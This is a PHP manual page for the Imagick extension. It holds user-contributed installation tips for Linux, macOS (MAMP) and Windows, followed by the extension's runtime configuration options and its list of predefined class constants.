Nothing out of ordinary for a PHP extension... I don't know what the fuss is...
holdoffhunger at gmail dot com 31-May-2013 05:55
There is a big disclaimer that should be made to all those about to venture on ImageMagick programming using PHP: the great, vast majority of WAMP (Windows-Apache-MySQL-PHP) servers do not support ImageMagick commands at all, since it is a "different package," and there appears to be no way to install ImageMagick through standard Add/Remove Applications within Linux (as far as standard Debian linux releases go).  It's very easy to get Apache/PHP running in either Windows or Linux with pretty much any standard OS/distro supported so that you can run all of your own code on your own computer.  But that's definitely not the case when you want Imagick to cooperate with your Apache server and your PHP code!

It took me almost an entire week just to get Apache/PHP/ImageMagick working all together nice and happily so that I could run my own PHP code on my own machine (natively, too).  So, I decided to simply write down the steps, to help anyone else out who could need help.

Guide to Building an Apache/PHP/Imagick Server with Linux/CentOS 6.4:::

1. Install CentOS 6.4.  (Theoretically, other versions of CentOS should work as well, but I simply chose the most recent one.)  Also, you can very easily emulate CentOS within Windows (for instance, the unfree choice of VMWare).
2. Install PHP, PHP-Common, PHP-extensions, etc., from standard Application Package Manager ("Add/Remove Programs", usually in system tools somewhere).  (You don't have to worry about Apache, because that comes with CentOS 6.4 anyway.)
3. Open up a terminal and enter admin mode with the command "su".  You'll need a password for this.
4. Enter this command: yum install ImageMagick ImageMagick-devel
5. Enter this command: pecl install imagick
6. Modify php.ini and include the line "extension=imagick.so".  This file is located at "/etc/php.ini" normally.  The line must be exactly inserted in the section of "Dynamic Extensions", which begins with this commented out text:

--------------------------------
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
--------------------------------

Use the "search" feature of gedit to find the text.  Add the extension below the commented out note in this section so that the result looks like:

--------------------------------
;;;;
; Note: packaged extension modules are now loaded via the .ini files
; found in the directory /etc/php.d; these are loaded by default.
;;;;

extension=imagick.so
--------------------------------

Putting the extension directly at the top caused me serious permission issues in running Imagick code.  Also, with CentOS, the permissions automatically disable user control for this php.ini.  Enter the following terminal command: "chown [YOUR-USERNAME] -R /etc/php.ini", without the quotes to get control to modify it.  Note to insert your username where it states "[YOUR-USERNAME]".
7. Enter this command: "service httpd restart", without quotes, from admin mode.  This restarts Apache/PHP/PHP's extensios now that you've installed ImageMagick.  If this gives you an error, just try "service httpd start".

My favorite part about this method is that you can update your system with issuing the "yum update" command and then the "yum upgrade" command -- and the Apache/PHP/Imagick combo will still be working perfectly!  Unlike some other guides out there for this, you don't need to rely on antiquated, unsupported versions that can be nearly impossible to find.  Also, you don't need to worry about the MySQL, Hash, MBString, Exif packages, because they all seem to be installed and properly cooperating with PHP automatically after installing PHP from the Application Manager.  This solution makes everything work well together.

The root directory of your public files is located at /var/www/html/.  Normally, this folder is not owned by the user, so you'll get a permission error when trying to add files or folders to it.  Correct that with entering admin mode in the terminal/command-line window ("su" command) and entering the following command: "chown [YOUR-USERNAME] -R /var/www/html/", without quotes.  Again, replace "[YOUR-USERNAME]" with your actual user name.  (Warning: The first time I did this, I was lazy and entered the command for only the "/var/" folder, which prevented my system ever from booting.  It would always freeze with the notorious and googleable erro-message: "Could not update ICEauthority file /var/lib/gdm/.ICEauthority".  So, make sure to change ownership only for "/var/www/html/".)

To view your root directory files as compiled, resultant, PHP pages, open up a browser and enter "127.0.0.1" as the address.  So, a file in your root directory would be accessed at the following URL in your browser: http://127.0.0.1/your.file.php .  If you get a "could not connect" error message, try the command "service httpd start" at the terminal window from admin mode.  (You have to start this service manually every time the machine boots, although there's plenty of ways to automate it.)

I hope this helps!  I tried a hundred different guides on getting Apache/PHP/Imagick to work together and none of them worked.  Don't give up!  ImageMagick is a package of really neat imaging functions!
Baasha 10-May-2013 06:28
To install on debian simply try:

apt-get install php5-imagick

on ubuntu:

sudo apt-get install php5-imagick
Dmitry Semenov 15-Feb-2013 07:06
If you tried to install it on Linux and got this message

pecl install imagick

/var/tmp/imagick/php_imagick.h:49:31: fatal error: wand/MagickWand.h: No such file or directory
compilation terminated.
make: *** [imagick_class.lo] Error 1
ERROR: `make' failed

this is what solves it:

yum install ImageMagick-devel
vbsaltydog 31-Jul-2010 05:31
I could not install via PECL or compiling from source because of an error from line 3339 of the configure file generated by phpize so I looked at the configure file at line 3339 and it was just a check for the PHP version using the php-config command with the --vernum switch which was not supported by my PHP version so I commented out that check from the configure file and then it would configure, compile, and install.

After installation, it put the shared object file in my php extension modules directory so I added an entry to my /etc/php.d directory to load the extension file and restarted apache and the imagick section is present in my info.php output.
Martin Vincent 22-Jan-2010 05:32
For PHP 5.3 I have read that these versions should work:
ImageMagick-6.5.9-0-Q16-windows-dll.exe
imagick-2.3.0-dev/vc9_nts/php_imagick.dll
scottchu dot tw at gmail dot com 23-Dec-2009 04:17
PECL install imagick contantly fails due to the server is behind some firewall, so one may try 'phpize' way to install.

However, someone like me who doesn't want to use default options may experience thru failure situation. And if you google thru the cloud, you may find many people tell you to rpm imagick-devel with yum or apt. That does solve the problem.

However, In my case, my server already has php 5.3.1 installed under /usr/lcal/php & the linux doesn't have yum or apt service. Furthermore, I just installed imagemagick yesterday (Also quite a battle =.=) under /usr/local/imk

(note: You may see that I don't like default options, I like to install each package under different dir under /usr/local).

Today, I want to install imagick, so this is what I do:

1> add /usr/local/php/bin & /usr/local/imk/bin to path.

2> download imagick source of intended version (I use 3.0.b1).

3> enter that dir & issue 'phpize'.

(note:I got a habit to issue './configure --help > oo' & 'view oo' to see all the options first before installation)

4> 'vi configure' & find LIBS, then add '-l/usr/local/imk/lib' after it.

5> issue './configure --prefix=/usr/local/ik4php' --with-imagick='/usr/local/imk'.

(note: with-imagick points out where you install the imagicmagick package before, this name 'imagick'  is not appropriate since it incurs ambiguity with imagick for php =.=)

6> after it's done, issue 'make'.

7> after make is done, issue 'make install'.

(note:the last two output lines will tell you where to find the generated shared object library file: imagick.so)

8> go to that dir & copy imagick.so to the extension dir defined in php.ini.

(note: in my case it's /usr/local/php/ext)

9> edit php.ini to add 'extension=imagick.so' line.

10> stop & start apache or just restart apache.

(note: if you have tomcat + apache + jk module installation style as mine, shutdown tomcat, stop apache, then startup tomcat first, then start apache)

If you have similar server environment & situation as mine, hope this article helps you.

Scott Chu @ Taiwan
gmorris at ilogsystems dot com 20-Oct-2009 08:11
I struggled to get imagick installed for mamp and dug high and low. I
was left with the impression that so many struggle with opensource and
 this type of install that it is almost a right of passage. For my part, I
 managed to find two threads that helped me and the steps work. A lot
 of people talked about macports and pear installs which are fine(I tried
 them), but 1) they sometimes don't get the latest version of what
 you need and 2) I can't tell what they're doing and where they're doing it.

It's much easier to me to download the stuff where i want it and be
sure of what i got!

First of all download a tar image of the ImageMagick install from here:
sourceforge.net/projects/imagemagick/files/

Unpack it and then from terminal issue the following commands in
 quotes:
1.  "cd ImageMagick-6.5.7" - go where you placed the folder

2.  "./configure"

3.  "make"

If ImageMagick configured and compiled without complaint, you are
 ready to install it on your system. Administrator privileges are
 required to install. To install, type the following command in terminal:

1.  "sudo make install"

To check your ImageMagick installation enter the following command
 in terminal:

1. "make check"

Remember all commands are entered into terminal in the directory in
 which you unzipped your downloaded ImageMagick tar file. (the latest
 version of which at this time of writing is ImageMagick-6.5.7.)

Next we need to install Imagick.so which is what we want for PHP.

First of all we need to get the right file and we can get that from here:

pecl.php.net/package/imagick/download

At current writing the latest stable version is imagick-2.3.0.

Unpack the tar file and then enter the commands in quotes in terminal:

1.  "cd imagick-2.2.3" - go where you placed the folder

2.   "phpize"

3.   "./configure --with-imagick=/opt/local"

4.   "make"

5.    "make install"

If you look at the bottom of the output, it will tell you where it has
placed the imagick.so module. For me it was placed in:

/imagick-2.3.0/modules

which is where i had unpacked the downloaded imagick-2.3.0 file.

Then copy it into your MAMP PHP extensions folder.

For me it was:
/Applications/MAMP/bin/php5/lib/php/extensions/no-debug-non-zts
-20050922/

Then, for PHP to honor the the extension, add the following line to the
 extensions section of your php.ini file:

extension=imagick.so

You should now have a working imagick extension with all of the
 resources for php found here:
php.net/manual/en/book.imagick.php

I will not claim credit for anyone for whom this works, that goes to:

Imagemagick who posted instructions here:
www.imagemagick.org/script/install-source.php

and Wallance who posted his experience here:
www.daniweb.com/forums/thread194181.html#

I really hope this helps others because developing this stuff is
frustrating enough without spending hours or even days just trying to set
 up the development environment so you can use the tools.
elia weiss 12-Sep-2009 09:33
if you get the following error on windows (vista):
'The application has failed to start because its side-by-side
configuration is incorrect. Please see the application event log
 for more detail.'

then install:
Visual C++ 2008 Redistributable Package (x86)
from:
http://www.microsoft.com/downloads
/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2

see:
http://www.imagemagick.org/script/binary-releases.php#windows
for more info (scroll to the end of the page)
Ultimater at gmail dot com 28-Jul-2009 04:41
Installing Imagick on Windows isn't too hard.  I followed the guide at http://valokuva.org/?page_id=50 and managed to install it without too much sweat.

1. Visit http://imagemagick.org/script/binary-releases.php#windows and download "ImageMagick-6.5.4-6-Q16-windows-dll.exe"

2. Pick a version at http://valokuva.org/outside-blog-content/imagick-windows-builds/ The directories are in YYMMDD format. The latest version that worked for me was 2008-Jul-09 so download 080709/php_imagick_dyn-Q16.dll respectively.

3. Rename php_imagick_dyn-Q16.dll to "php_imagick.dll" and move it to php/ext

4. open php.ini, and make sure
extension=php_imagick.dll
appears in the file and uncommented then resave.
Note: phpinfo() will tell you the location of the loaded php.ini file.

5. Re-start your webserver.

That's it, a simple test will tell you if your installation was successful.
<?php
$im = new Imagick();
$im->newPseudoImage(100, 100, "magick:rose");
$im->setImageFormat("png");
$im->roundCorners(5,3);
$type=$im->getFormat();
header("Content-type: $type");
echo $im->getimageblob();
?>
Anonymous 28-Apr-2009 09:54
Installation of Imagick on Windows:
-------------------------------------------

Here an important hint for all who want to use Imagick:

First of all: Forget this PECL.
It is for Linux only.

In the old discussion boards I read that some years ago there was a DLL for PHP available on the FTP server of imagemagick.org. Once upon a time there has also been a CHM installation help file on FTP which also has been removed. The only thing you find today on the FTP server is a ridiculous text file:
ftp://ftp.imagemagick.org/pub/ImageMagick/php/windows/README.txt
This file contains 3 links:
2 links of them are dead meanwhile.
The only working one is this:
www.dirk.sh/dirk/magickwand
a page of a chinese guy who offers a MagickWand.dll for PHP of 4 MB size (Q8, static compiled)
But he discontinoued support since 2007.
There is no installation manual available.

He only writes:
"Please ref watson's post about how to install on Windows:
redux.imagemagick.org/discourse-server/viewtopic.php?t=4708"

This page which uses stupid style sheet settings like "font-size:11%" which make parts of the text unreadable also was no help.

At the end all manuals say the same:
Copy the DLL into the "ext" folder and add the entry to the php.ini:
extension=dllname
restart the Apache and you are done.

But this is not true: it simply does NOT work on Xampp.
In a DOS box entering
PHP.exe -i > Info.txt
prints all installed modules.
You also find:

"magickwand
MagickWand Backend Library => ImageMagick
MagickWand Extension Version => 1.0.5
ImageMagick support => enabled
ImageMagick version => ImageMagick 6.3.5 09/21/07 Q8 www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) => 255
MagickWand supported image formats => A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, etc.."

But after executing phpinfo() MagickWand does NOT appear under the installed extensions. Strange!!
And the Wand commands do NOT function like:
$resource = NewMagickWand();

I also found a php_imagick.dll of 65 kB size in the internet which also does not work. It does not even appear in
PHP -i.

There is no error in the Apache logfile!

I read all I could find in the internet and wasted 2 entire days, without success, now I'm sick of Imagick and I absolutely cannot understand why the guys of imagemagick.org don't offer a ready compiled dll with an installation manual anymore?

In general the Imagick page seems not very trustworthy:
On the download page they do never explain what is the difference between the several versions. What doess static mean?
They never explain. (Static means that the convert.exe does not depend on so many dlls. It only requires one external DLL, for that it has a size of 5 MB instead of 200 kb)
And the explanation about the difference between Q8 and Q16 version is wrong: Q8 does NOT mean 8 Bits per pixel as the download page says. It means 8 Bit per color = 24 Bit per Pixel)

And I found an ugly misdesign:
If you install the Q8 version on your local PC and want to copy the files from your harddisk to the server, then convert.exe will crash!
Convert.exe depends on a Registry Entry. And if this is missing (on a server where you have not full access) it will crash. The strangest thing is that this registry key can contain any nonsense, it only must exist! How stupid!

So if you want to execute as an alternative the commandline tools like convert.exe from your PHP code you must add this Registry entries to the server:
HKEY_LOCAL_MACHINE\SOFTWARE\ImageMagick\6.5.1\Q:8\ConfigurePath
The value can be anything.

But with the commandline tools you cannot obtain the width and height of an image in your PHP code. This is not possible.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Imagick configuration options
Name | Default | Changeable | Changelog
imagick.locale_fix | FALSE | PHP_INI_ALL | Available since Imagick 2.1.0
imagick.progress_monitor | FALSE | PHP_INI_SYSTEM | Available since Imagick 2.2.2
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

imagick.locale_fix boolean

Fixes a drawing bug with locales that use ',' as float separators.

imagick.progress_monitor boolean

Used to enable the image progress monitor.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

COLOR_* constants

Colortype constants. These constants are mainly used with ImagickPixel.

imagick::COLOR_BLACK (integer)
Black color
imagick::COLOR_BLUE (integer)
Blue color
imagick::COLOR_CYAN (integer)
Cyan color
imagick::COLOR_GREEN (integer)
Green color
imagick::COLOR_RED (integer)
Red color
imagick::COLOR_YELLOW (integer)
Yellow color
imagick::COLOR_MAGENTA (integer)
Magenta color
imagick::COLOR_OPACITY (integer)
Color's opacity
imagick::COLOR_ALPHA (integer)
Color's alpha
imagick::COLOR_FUZZ (integer)
Color's fuzz
DISPOSE constants

Dispose type constants

imagick::DISPOSE_UNRECOGNIZED (integer)
Unrecognized dispose type
imagick::DISPOSE_UNDEFINED (integer)
Undefined dispose type
imagick::DISPOSE_NONE (integer)
No dispose type defined
imagick::DISPOSE_BACKGROUND (integer)
Dispose background
imagick::DISPOSE_PREVIOUS (integer)
Dispose previous
Composite Operator Constants
imagick::COMPOSITE_DEFAULT (integer)
The default composite operator
imagick::COMPOSITE_UNDEFINED (integer)
Undefined composite operator
imagick::COMPOSITE_NO (integer)
No composite operator defined
imagick::COMPOSITE_ADD (integer)
The result of image + image
imagick::COMPOSITE_ATOP (integer)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
imagick::COMPOSITE_BLEND (integer)
Blends the image
imagick::COMPOSITE_BUMPMAP (integer)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
imagick::COMPOSITE_CLEAR (integer)
Makes the target image transparent
imagick::COMPOSITE_COLORBURN (integer)
Darkens the destination image to reflect the source image
imagick::COMPOSITE_COLORDODGE (integer)
Brightens the destination image to reflect the source image
imagick::COMPOSITE_COLORIZE (integer)
Colorizes the target image using the composite image
imagick::COMPOSITE_COPYBLACK (integer)
Copies black from the source to target
imagick::COMPOSITE_COPYBLUE (integer)
Copies blue from the source to target
imagick::COMPOSITE_COPY (integer)
Copies the source image on the target image
imagick::COMPOSITE_COPYCYAN (integer)
Copies cyan from the source to target
imagick::COMPOSITE_COPYGREEN (integer)
Copies green from the source to target
imagick::COMPOSITE_COPYMAGENTA (integer)
Copies magenta from the source to target
imagick::COMPOSITE_COPYOPACITY (integer)
Copies opacity from the source to target
imagick::COMPOSITE_COPYRED (integer)
Copies red from the source to target
imagick::COMPOSITE_COPYYELLOW (integer)
Copies yellow from the source to target
imagick::COMPOSITE_DARKEN (integer)
Darkens the target image
imagick::COMPOSITE_DSTATOP (integer)
The part of the destination lying inside of the source is composited over the source and replaces the destination
imagick::COMPOSITE_DST (integer)
The target is left untouched
imagick::COMPOSITE_DSTIN (integer)
The parts inside the source replace the target
imagick::COMPOSITE_DSTOUT (integer)
The parts outside the source replace the target
imagick::COMPOSITE_DSTOVER (integer)
Target replaces the source
imagick::COMPOSITE_DIFFERENCE (integer)
Subtracts the darker of the two constituent colors from the lighter
imagick::COMPOSITE_DISPLACE (integer)
Shifts target image pixels as defined by the source
imagick::COMPOSITE_DISSOLVE (integer)
Dissolves the source in to the target
imagick::COMPOSITE_EXCLUSION (integer)
Produces an effect similar to that of imagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
imagick::COMPOSITE_HARDLIGHT (integer)
Multiplies or screens the colors, dependent on the source color value
imagick::COMPOSITE_HUE (integer)
Modifies the hue of the target as defined by source
imagick::COMPOSITE_IN (integer)
Composites source into the target
imagick::COMPOSITE_LIGHTEN (integer)
Lightens the target as defined by source
imagick::COMPOSITE_LUMINIZE (integer)
Luminizes the target as defined by source
imagick::COMPOSITE_MINUS (integer)
Subtracts the source from the target
imagick::COMPOSITE_MODULATE (integer)
Modulates the target brightness, saturation and hue as defined by source
imagick::COMPOSITE_MULTIPLY (integer)
Multiplies the target to the source
imagick::COMPOSITE_OUT (integer)
Composites outer parts of the source on the target
imagick::COMPOSITE_OVER (integer)
Composites source over the target
imagick::COMPOSITE_OVERLAY (integer)
Overlays the source on the target
imagick::COMPOSITE_PLUS (integer)
Adds the source to the target
imagick::COMPOSITE_REPLACE (integer)
Replaces the target with the source
imagick::COMPOSITE_SATURATE (integer)
Saturates the target as defined by the source
imagick::COMPOSITE_SCREEN (integer)
The source and destination are complemented and then multiplied and then replace the destination
imagick::COMPOSITE_SOFTLIGHT (integer)
Darkens or lightens the colors, dependent on the source
imagick::COMPOSITE_SRCATOP (integer)
The part of the source lying inside of the destination is composited onto the destination
imagick::COMPOSITE_SRC (integer)
The source is copied to the destination
imagick::COMPOSITE_SRCIN (integer)
The part of the source lying inside of the destination replaces the destination
imagick::COMPOSITE_SRCOUT (integer)
The part of the source lying outside of the destination replaces the destination
imagick::COMPOSITE_SRCOVER (integer)
The source replaces the destination
imagick::COMPOSITE_SUBTRACT (integer)
Subtract the colors in the source image from the destination image
imagick::COMPOSITE_THRESHOLD (integer)
The source is composited on the target as defined by source threshold
imagick::COMPOSITE_XOR (integer)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
MONTAGEMODE constants

imagick::MONTAGEMODE_FRAME (integer)
imagick::MONTAGEMODE_UNFRAME (integer)
imagick::MONTAGEMODE_CONCATENATE (integer)
STYLE constants

imagick::STYLE_NORMAL (integer)
imagick::STYLE_ITALIC (integer)
imagick::STYLE_OBLIQUE (integer)
imagick::STYLE_ANY (integer)
FILTER constants

imagick::FILTER_UNDEFINED (integer)
imagick::FILTER_POINT (integer)
imagick::FILTER_BOX (integer)
imagick::FILTER_TRIANGLE (integer)
imagick::FILTER_HERMITE (integer)
imagick::FILTER_HANNING (integer)
imagick::FILTER_HAMMING (integer)
imagick::FILTER_BLACKMAN (integer)
imagick::FILTER_GAUSSIAN (integer)
imagick::FILTER_QUADRATIC (integer)
imagick::FILTER_CUBIC (integer)
imagick::FILTER_CATROM (integer)
imagick::FILTER_MITCHELL (integer)
imagick::FILTER_LANCZOS (integer)
imagick::FILTER_BESSEL (integer)
imagick::FILTER_SINC (integer)
IMGTYPE constants

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)
RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
COMPRESSION constants

imagick::COMPRESSION_UNDEFINED (integer)
imagick::COMPRESSION_NO (integer)
imagick::COMPRESSION_BZIP (integer)
imagick::COMPRESSION_FAX (integer)
imagick::COMPRESSION_GROUP4 (integer)
imagick::COMPRESSION_JPEG (integer)
imagick::COMPRESSION_JPEG2000 (integer)
imagick::COMPRESSION_LOSSLESSJPEG (integer)
imagick::COMPRESSION_LZW (integer)
imagick::COMPRESSION_RLE (integer)
imagick::COMPRESSION_ZIP (integer)
imagick::COMPRESSION_DXT1 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
imagick::COMPRESSION_DXT3 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
imagick::COMPRESSION_DXT5 (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.0 or higher.
PAINT constants

imagick::PAINT_POINT (integer)
imagick::PAINT_REPLACE (integer)
imagick::PAINT_FLOODFILL (integer)
imagick::PAINT_FILLTOBORDER (integer)
imagick::PAINT_RESET (integer)
GRAVITY constants

imagick::GRAVITY_NORTHWEST (integer)
imagick::GRAVITY_NORTH (integer)
imagick::GRAVITY_NORTHEAST (integer)
imagick::GRAVITY_WEST (integer)
imagick::GRAVITY_CENTER (integer)
imagick::GRAVITY_EAST (integer)
imagick::GRAVITY_SOUTHWEST (integer)
imagick::GRAVITY_SOUTH (integer)
imagick::GRAVITY_SOUTHEAST (integer)
STRETCH constants

imagick::STRETCH_NORMAL (integer)
imagick::STRETCH_ULTRACONDENSED (integer)
imagick::STRETCH_CONDENSED (integer)
imagick::STRETCH_SEMICONDENSED (integer)
imagick::STRETCH_SEMIEXPANDED (integer)
imagick::STRETCH_EXPANDED (integer)
imagick::STRETCH_EXTRAEXPANDED (integer)
imagick::STRETCH_ULTRAEXPANDED (integer)
imagick::STRETCH_ANY (integer)
ALIGN constants

imagick::ALIGN_UNDEFINED (integer)
imagick::ALIGN_LEFT (integer)
imagick::ALIGN_CENTER (integer)
imagick::ALIGN_RIGHT (integer)
DECORATION constants

imagick::DECORATION_NO (integer)
imagick::DECORATION_UNDERLINE (integer)
imagick::DECORATION_OVERLINE (integer)
imagick::DECORATION_LINETROUGH (integer)
NOISE constants

imagick::NOISE_UNIFORM (integer)
imagick::NOISE_GAUSSIAN (integer)
imagick::NOISE_MULTIPLICATIVEGAUSSIAN (integer)
imagick::NOISE_IMPULSE (integer)
imagick::NOISE_LAPLACIAN (integer)
imagick::NOISE_POISSON (integer)
imagick::NOISE_RANDOM (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.3.6 or higher.
CHANNEL constants

imagick::CHANNEL_UNDEFINED (integer)
imagick::CHANNEL_RED (integer)
imagick::CHANNEL_GRAY (integer)
imagick::CHANNEL_CYAN (integer)
imagick::CHANNEL_GREEN (integer)
imagick::CHANNEL_MAGENTA (integer)
imagick::CHANNEL_BLUE (integer)
imagick::CHANNEL_YELLOW (integer)
imagick::CHANNEL_ALPHA (integer)
imagick::CHANNEL_OPACITY (integer)
imagick::CHANNEL_MATTE (integer)
imagick::CHANNEL_BLACK (integer)
imagick::CHANNEL_INDEX (integer)
imagick::CHANNEL_ALL (integer)
imagick::CHANNEL_DEFAULT (integer)
METRIC constants

imagick::METRIC_UNDEFINED (integer)
imagick::METRIC_MEANABSOLUTEERROR (integer)
imagick::METRIC_MEANSQUAREERROR (integer)
imagick::METRIC_PEAKABSOLUTEERROR (integer)
imagick::METRIC_PEAKSIGNALTONOISERATIO (integer)
imagick::METRIC_ROOTMEANSQUAREDERROR (integer)
PIXEL constants

imagick::PIXEL_CHAR (integer)
imagick::PIXEL_DOUBLE (integer)
imagick::PIXEL_FLOAT (integer)
imagick::PIXEL_INTEGER (integer)
imagick::PIXEL_LONG (integer)
imagick::PIXEL_QUANTUM (integer)
imagick::PIXEL_SHORT (integer)
EVALUATE constants

imagick::EVALUATE_UNDEFINED (integer)
imagick::EVALUATE_ADD (integer)
imagick::EVALUATE_AND (integer)
imagick::EVALUATE_DIVIDE (integer)
imagick::EVALUATE_LEFTSHIFT (integer)
imagick::EVALUATE_MAX (integer)
imagick::EVALUATE_MIN (integer)
imagick::EVALUATE_MULTIPLY (integer)
imagick::EVALUATE_OR (integer)
imagick::EVALUATE_RIGHTSHIFT (integer)
imagick::EVALUATE_SET (integer)
imagick::EVALUATE_SUBTRACT (integer)
imagick::EVALUATE_XOR (integer)
imagick::EVALUATE_POW (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_LOG (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLD (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDBLACK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDWHITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_GAUSSIANNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_IMPULSENOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_LAPLACIANNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_MULTIPLICATIVENOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_POISSONNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_UNIFORMNOISE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_COSINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_SINE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
imagick::EVALUATE_ADDMODULUS (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.4 or higher.
COLORSPACE constants

imagick::COLORSPACE_UNDEFINED (integer)
imagick::COLORSPACE_RGB (integer)
imagick::COLORSPACE_GRAY (integer)
imagick::COLORSPACE_TRANSPARENT (integer)
imagick::COLORSPACE_OHTA (integer)
imagick::COLORSPACE_LAB (integer)
imagick::COLORSPACE_XYZ (integer)
imagick::COLORSPACE_YCBCR (integer)
imagick::COLORSPACE_YCC (integer)
imagick::COLORSPACE_YIQ (integer)
imagick::COLORSPACE_YPBPR (integer)
imagick::COLORSPACE_YUV (integer)
imagick::COLORSPACE_CMYK (integer)
imagick::COLORSPACE_SRGB (integer)
imagick::COLORSPACE_HSB (integer)
imagick::COLORSPACE_HSL (integer)
imagick::COLORSPACE_HWB (integer)
imagick::COLORSPACE_REC601LUMA (integer)
imagick::COLORSPACE_REC709LUMA (integer)
imagick::COLORSPACE_LOG (integer)
imagick::COLORSPACE_CMY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
VIRTUALPIXELMETHOD constants

imagick::VIRTUALPIXELMETHOD_UNDEFINED (integer)
imagick::VIRTUALPIXELMETHOD_BACKGROUND (integer)
imagick::VIRTUALPIXELMETHOD_CONSTANT (integer)
imagick::VIRTUALPIXELMETHOD_EDGE (integer)
imagick::VIRTUALPIXELMETHOD_MIRROR (integer)
imagick::VIRTUALPIXELMETHOD_TILE (integer)
imagick::VIRTUALPIXELMETHOD_TRANSPARENT (integer)
imagick::VIRTUALPIXELMETHOD_MASK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_BLACK (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_GRAY (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_WHITE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_HORIZONTALTILE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.3 or higher.
imagick::VIRTUALPIXELMETHOD_VERTICALTILE (integer)
This constant is available if Imagick has been compiled against ImageMagick version 6.4.3 or higher.
PREVIEW constants

imagick::PREVIEW_UNDEFINED (integer)
imagick::PREVIEW_ROTATE (integer)
imagick::PREVIEW_SHEAR (integer)
imagick::PREVIEW_ROLL (integer)
imagick::PREVIEW_HUE (integer)
imagick::PREVIEW_SATURATION (integer)
imagick::PREVIEW_BRIGHTNESS (integer)
imagick::PREVIEW_GAMMA (integer)
imagick::PREVIEW_SPIFF (integer)
imagick::PREVIEW_DULL (integer)
imagick::PREVIEW_GRAYSCALE (integer)
imagick::PREVIEW_QUANTIZE (integer)
imagick::PREVIEW_DESPECKLE (integer)
imagick::PREVIEW_REDUCENOISE (integer)
imagick::PREVIEW_ADDNOISE (integer)
imagick::PREVIEW_SHARPEN (integer)
imagick::PREVIEW_BLUR (integer)
imagick::PREVIEW_THRESHOLD (integer)
imagick::PREVIEW_EDGEDETECT (integer)
imagick::PREVIEW_SPREAD (integer)
imagick::PREVIEW_SOLARIZE (integer)
imagick::PREVIEW_SHADE (integer)
imagick::PREVIEW_RAISE (integer)
imagick::PREVIEW_SEGMENT (integer)
imagick::PREVIEW_SWIRL (integer)
imagick::PREVIEW_IMPLODE (integer)
imagick::PREVIEW_WAVE (integer)
imagick::PREVIEW_OILPAINT (integer)
imagick::PREVIEW_CHARCOALDRAWING (integer)
imagick::PREVIEW_JPEG (integer)
RENDERINGINTENT constants

imagick::RENDERINGINTENT_UNDEFINED (integer)
imagick::RENDERINGINTENT_SATURATION (integer)
imagick::RENDERINGINTENT_PERCEPTUAL (integer)
imagick::RENDERINGINTENT_ABSOLUTE (integer)
imagick::RENDERINGINTENT_RELATIVE (integer)
INTERLACE constants

imagick::INTERLACE_UNDEFINED (integer)
imagick::INTERLACE_NO (integer)
imagick::INTERLACE_LINE (integer)
imagick::INTERLACE_PLANE (integer)
imagick::INTERLACE_PARTITION (integer)
imagick::INTERLACE_GIF (integer)
